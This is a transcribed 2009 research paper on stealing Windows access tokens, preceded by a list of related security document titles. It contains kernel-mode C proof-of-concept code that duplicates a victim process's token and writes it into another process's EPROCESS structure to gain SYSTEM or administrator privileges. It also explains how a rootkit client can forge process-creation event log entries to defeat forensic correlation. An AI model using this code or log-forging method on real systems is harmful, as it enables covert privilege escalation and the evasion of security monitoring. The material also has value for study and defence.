Access token stealing on Windows. Csaba Barta



Similar documents
VICE Catch the hookers! (Plus new rootkit techniques) Jamie Butler Greg Hoglund

SQL SERVER Anti-Forensics. Cesar Cerrudo

VBootKit Attacking Windows 7 via Boot Sectors

Toasterkit - A NetBSD Rootkit. Anthony Martinez Thomas Bowen

HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011

Detecting Malware With Memory Forensics. Hal Pomeranz SANS Institute

SAPIP GUI INSTALLATION. Table of Contents

Exploiting Trustzone on Android

Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions

Embedded Programming in C/C++: Lesson-1: Programming Elements and Programming in C

Computer Security: Principles and Practice

Hacking Database for Owning your Data

Detecting the Presence of Virtual Machines Using the Local Data Table

Presentation on Black Hat Europe 2003 Conference. Security Analysis of Microsoft Encrypting File System (EFS)

Executable Integrity Verification

CSI 402 Lecture 13 (Unix Process Related System Calls) 13 1 / 17

SECURITY SUBSYSTEM IN WINDOWS

Molecular Dynamics Simulations with Applications in Soft Matter Handout 7 Memory Diagram of a Struct

Analysis of the Linux Audit System 1

SMTP-32 Library. Simple Mail Transfer Protocol Dynamic Link Library for Microsoft Windows. Version 5.2

Chapter 3: Operating-System Structures. System Components Operating System Services System Calls System Programs System Structure Virtual Machines

Patch Assessment Content Update Release Notes for CCS Version: Update

Security+ Guide to Network Security Fundamentals, Third Edition. Chapter 7 Access Control Fundamentals

A Hypervisor IPS based on Hardware assisted Virtualization Technology

1) The postfix expression for the infix expression A+B*(C+D)/F+D*E is ABCD+*F/DE*++

RTI Database Integration Service. Getting Started Guide

Using a Patched Vulnerability to Bypass Windows 8 x64 Driver Signature Enforcement. MJ0011 th_decoder@126.com

Recipe for Mobile Data Security: TPM, Bitlocker, Windows Vista and Active Directory

CSE543 - Introduction to Computer and Network Security. Module: Reference Monitor

1 Posix API vs Windows API

This text refers to the 32bit version of Windows, unfortunately I don't have access to a 64bit development environment.

The Value of Physical Memory for Incident Response

Trustworthy Computing

MITA End-User VPN Troubleshooting Guide

Chapter 3: Operating-System Structures. Common System Components

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Setting Up Database Security with Access 97

HP Compaq dc7800p Business PC with Intel vpro Processor Technology and Virtual Appliances

WA2102 Web Application Programming with Java EE 6 - WebSphere RAD 8.5. Classroom Setup Guide. Web Age Solutions Inc. Web Age Solutions Inc.

Logitech for Business Webcam Software

EASRestoreService. Manual

Applying the Principle of Least Privilege to Windows 7

Coding Rules. Encoding the type of a function into the name (so-called Hungarian notation) is forbidden - it only confuses the programmer.

Not agree with bug 3, precision actually was. 8,5 not set in the code. Not agree with bug 3, precision actually was

Legal Notes. Regarding Trademarks. Models supported by the KX printer driver KYOCERA MITA Corporation

Windows security for n00bs part 1 Security architecture & Access Control

Information Security Threat Trends

MCAFEE FOUNDSTONE FSL UPDATE

IOActive Security Advisory

Hotpatching and the Rise of Third-Party Patches

SQL Injection January 23, 2013

TEL2821/IS2150: INTRODUCTION TO SECURITY Lab: Operating Systems and Access Control

Spyware Analysis. Security Event - April 28, 2004 Page 1

EaseVault File System Filter SDK Manual

Protecting Data with Short- Lived Encryption Keys and Hardware Root of Trust. Dan Griffin DefCon 2013

Kernel comparison of OpenSolaris, Windows Vista and. Linux 2.6

Basic Import Utility User Guide

Stacks. Linear data structures

How to Install Applications (APK Files) on Your Android Phone


System Security Fundamentals

Making the difference between read to output, and read to copy GOING BEYOND BASIC FILE AUDITING FOR DATA PROTECTION

CS3600 SYSTEMS AND NETWORKS

Application Whitelisting - Extend your Security Arsenal? Mike Baldi Cyber Security Architect Honeywell Process Solutions

Logitech Webcam Drivers

Violating Database - Enforced Security Mechanisms

Introduction. Figure 1 Schema of DarunGrim2

Output: struct treenode{ int data; struct treenode *left, *right; } struct treenode *tree_ptr;

Linux Driver Devices. Why, When, Which, How?

Chapter 15 Operating System Security

System Calls and Standard I/O

MCTS Guide to Microsoft Windows 7. Chapter 7 Windows 7 Security Features

CryptoAPI. Labs. Daniil Leksin

ICTN Enterprise Database Security Issues and Solutions

Installing Booked scheduler on CentOS 6.5

VISA SECURITY ALERT December 2015 KUHOOK POINT OF SALE MALWARE. Summary. Distribution and Installation

BM482E Introduction to Computer Security

RE:Open for SQL Anywhere. Installation Guide. RE:Open for SQL Anywhere Installation Guide 1

Operating System Structures

KASPERSKY FRAUD PREVENTION FOR ENDPOINTS

Virtuozzo Virtualization SDK

A+ Guide to Managing and Maintaining Your PC, 7e. Chapter 16 Fixing Windows Problems

Computer Systems II. Unix system calls. fork( ) wait( ) exit( ) How To Create New Processes? Creating and Executing Processes

Deposit Direct. Getting Started Guide

ADO and SQL Server Security

Adjusting Prevention Policy Options Based on Prevention Events. Version 1.0 July 2006

Criteria for web application security check. Version

Integrated Virtual Debugger for Visual Studio Developer s Guide VMware Workstation 8.0

Migrating from Sybase to SQL Server

SQL Server Anti- Forensics: Techniques and Countermeasures

Firmware security features in HP Compaq business notebooks

ZeroAccess. James Wyke. SophosLabs UK

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

Transcription:

Access token stealing on Windows Csaba Barta 23. September 2009

Table of Contents Access token stealing on Windows...1 Summary...3 Token manipulation in the past...3 New integrity checking features introduced in Vista...3 Token stealing...4 Technical limitations...7 Faking detailed process tracking events...8

Summary This document details a technique that can be used to change the privileges of a process by stealing the access tokens of other processes in Microsoft Windows. Token manipulation in the past The well known way of manipulating access tokens was introduced by Greg Hoglund in 2004, and the proof of concept code was published in the famous FU rootkit. This technique modified the memory region pointed to by UserAndGroups and RestrictedSids. This memory region is the dynamic part of the access token. In Windows versions prior to Windows Vista there were no integrity checks on these fields, therefore it was possible to add and remove SIDs. New integrity checking features introduced in Vista In new versions of Windows starting with Vista two new fields appeared in the _TOKEN structure: SidHash and RestrictedSidHash. These two fields contain the hashes of the SIDs stored in the dynamic part of the token in order to prevent accidental or intended modification. The hashes are checked every time the token is used. This results in the fact that the technique developed by Greg Hoglund cannot be used in recent versions of Microsoft Windows.

Token stealing One possible way to bypass integrity checks would be to find the kernel code that is responsible for verifying the access token, and patch it. The implementation of this option is heavily version dependent and the new patch protection must be turned off, so an easier and more stable alternative is needed. The _TOKEN structure is linked to the _EPROCESS structure through the Token member which is of the type _EX_FAST_REF. The exact memory address of the _TOKEN structure can be calculated from the value stored in the _EX_FAST_REF field by XOR-ing the value with 0xFFFFFFF8. This is because the last 3 bits of the value are used to keep track of the references on the token object. The _EX_FAST_REF structure looks like the following: Token : struct _EX_FAST_REF, 3 elements, 0x4 bytes +0x000 Object : Ptr32 to +0x000 RefCnt : Bitfield Pos 0, 3 Bits +0x000 Value : Uint4B During research it turned out that currently the token is not exclusively bound to the process object and therefore it is possible to use the access token of other processes by simply modifying the _EX_FAST_REF value in our _EPROCESS structure to the value in the _EPROCESS structure of the victim process. There is a problem regarding this operation that is: after the modification is done, two processes will use the same token object. This means that when our process or the victim exits, the system will free the token object. If the other process tries to use the token or exits, it will immediately result in BSOD. The case when the victim process is the SYSTEM process (the process with PID = 4) is an exception to this. The operating system will be fully functional when another process uses the token of this process, because this is one of the last processes that is to be terminated, and nothing happens if there is problem during termination. To overcome this problem, a copy must be made of the access token of the target process. This can be accomplished by using the ZwDuplicateToken function. After a copy of the desired access token is made, the only thing that is to be done is to exchange the original value of the Token field with the address of the new token. The process will have the same access rights as the victim. Here is the proof of concept code snippet that is capable of stealing the access token of other processes: typedef struct _OSDETAILS //_eprocess structure int NAMEOFFSET; int FLINKOFFSET; int PIDOFFSET; int AUTHIDOFFSET; int PROTECTEDFLAGOFFSET; int THREADOFFSET; int THREADFLINK; int TOKENOFFSET; //_token structure int PRIVCOUNTOFFSET; int PRIVADDROFFSET; int SIDCOUNTOFFSET;

int SIDADDROFFSET; int LOCKOFFSET; int VARLENGTHOFFSET; int SESSIONIDOFFSET; int HANDLETABLEOFFSET; //_handle_table structure int HANDLECOUNTOFFSET; int TABLEOFFSET; int HANDLELISTOFFSET; int EPROCPIDOFFSET; //_ethread structure int CIDOFFSET; //others int EPROCSIZE; int KERNELBASE; char DISPATCHER_EPROCESS[2]; OSDETAILS, *POSDETAILS; OSDETAILS osdetails; DWORD FindProcessEPROC (int terminate_pid) DWORD eproc = 0x00000000; int current_pid = 0; int start_pid = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_pid == 0) return terminate_pid; eproc = (DWORD) gpeproc_system; start_pid = *((DWORD*)(eproc + osdetails.pidoffset)); current_pid = start_pid; while(1) if(terminate_pid == current_pid) return eproc; else if((i_count >= 1) && (start_pid == current_pid)) return 0x00000000; else plist_active_procs = (LIST_ENTRY *) (eproc + osdetails.flinkoffset); eproc = (DWORD) plist_active_procs->flink; eproc = eproc - osdetails.flinkoffset; current_pid = *((int *)(eproc+osdetails.pidoffset)); i_count++; NTSTATUS StealToken( int dpid, int spid ) NTSTATUS status = STATUS_SUCCESS; ACCESS_STATE astate; char Data[0x100]; PEPROCESS pseproc = NULL; //Victim eprocess HANDLE hseproc = NULL; //Victim process handle PEPROCESS pdeproc = NULL; //New eprocess HANDLE hstoken = NULL; //Victim process's token handle

HANDLE hntoken = NULL; //New token handle PVOID pntoken = NULL; //New token address PVOID potoken = NULL; //The original token //Open the source process status = SeCreateAccessState( &astate, Data, STANDARD_RIGHTS_ALL, (PGENERIC_MAPPING)((PCHAR)*PsProcessType + 52) ); if (!NT_SUCCESS(status)) DbgPrint("Error creating access state!!!"); return status; astate.previouslygrantedaccess = astate.remainingdesiredaccess; astate.remainingdesiredaccess = 0; status = PsLookupProcessByProcessId((HANDLE)spid, &pseproc); if (!NT_SUCCESS(status)) SeDeleteAccessState(&aState); return status; status = ObOpenObjectByPointer( pseproc, 0, &astate, 0, *PsProcessType, KernelMode, &hseproc ); SeDeleteAccessState(&aState); ObDereferenceObject(pseproc); //Get handle to the source token status = ZwOpenProcessTokenEx( hseproc, STANDARD_RIGHTS_ALL, OBJ_KERNEL_HANDLE, &hstoken ); if (!NT_SUCCESS(status)) DbgPrint("Opening source token failed!\n"); return status; //Copy the source token status = ZwDuplicateToken( hstoken, TOKEN_ALL_ACCESS, NULL, FALSE, TokenPrimary, &hntoken

); if (!NT_SUCCESS(status)) DbgPrint("Copying source token failed!\n"); return status; //Close the source process and source token handles if (NT_SUCCESS(status)) ZwClose(hstoken); ZwClose(hseproc); //Reference the new token to get the memory address of it status = ObReferenceObjectByHandle( hntoken, STANDARD_RIGHTS_ALL, NULL, KernelMode, &pntoken, NULL ); if (!NT_SUCCESS(status)) DbgPrint("Referencing new token failed!\n"); return status; //Find the target process and link the token in (DWORD)pdeproc = (DWORD)FindProcessEPROC(dpid); if ((DWORD)pdeproc == 0x0) DbgPrint("Destination process (%d) not found!\n", dpid); return STATUS_UNSUCCESSFUL; //Link in the new token *(DWORD *)((DWORD)pdeproc + osdetails.tokenoffset) = (DWORD)pntoken; return STATUS_SUCCESS;

Technical limitations The technique in this form has some interesting limitations, which could be eliminated in the future. The first limitation is that creating new processes is only possible if the access token that is to be stolen belongs to a process, which is running on behalf of an account that is member of the Administrators group or on behalf of the SYSTEM account. One other limitation is that if the token belongs to one of the members of the Administrators group, only processes without GUI can be launched. In the case of rootkits these are not critical limitations. The aim of the attacker usually is to gain elevated privileges. This means that stealing the access token from SYSTEM or Administrator is the most usual use case.

Faking detailed process tracking events One possible use case is to launch processes on behalf of another process, which is running on behalf of other account. Information used by Windows to create detailed process tacking eventlog entries For assembling the Process creation eventlog entry, the OS uses the access token and process id of the parent process. For assembling the Process termination eventlog entry, the OS uses the access token and PID of the process that is terminating. In order to insert fake eventlog entries we should launch our application (the rootkit client) on behalf of our account. The OS will insert a standard Process creation entry into the eventlog with our PID and account information. Picture 2: Process Creation entry generated when launching rootkit client on behalf of a user Within our rootkit client, before we launch our command, we should steal the PID and access token of the victim process and assign it to our process. After that we should launch the desired command. The OS will then insert a Process creation entry into the eventlog with information that belongs to the victim process. This way the eventlog entry will show that the newly created process was started by the victim process.

Picture 3: Process Creation entry generated after token and PID stolen, and new process launched Before terminating our process we should change the above mentioned information (PID and token) back to the original ones. Doing so will result in the OS logging a Process termination event with the original information that belongs to our process and account. Picture 4: Process Termination generated when rootkit client terminates

By using this technique, without disassembling the the rootkit client and driver, it won't be possible to correlate the two Process creation events, because of the two different accounts and Creator Process Ids. The newly launched application will inherit the privileges of the victim process.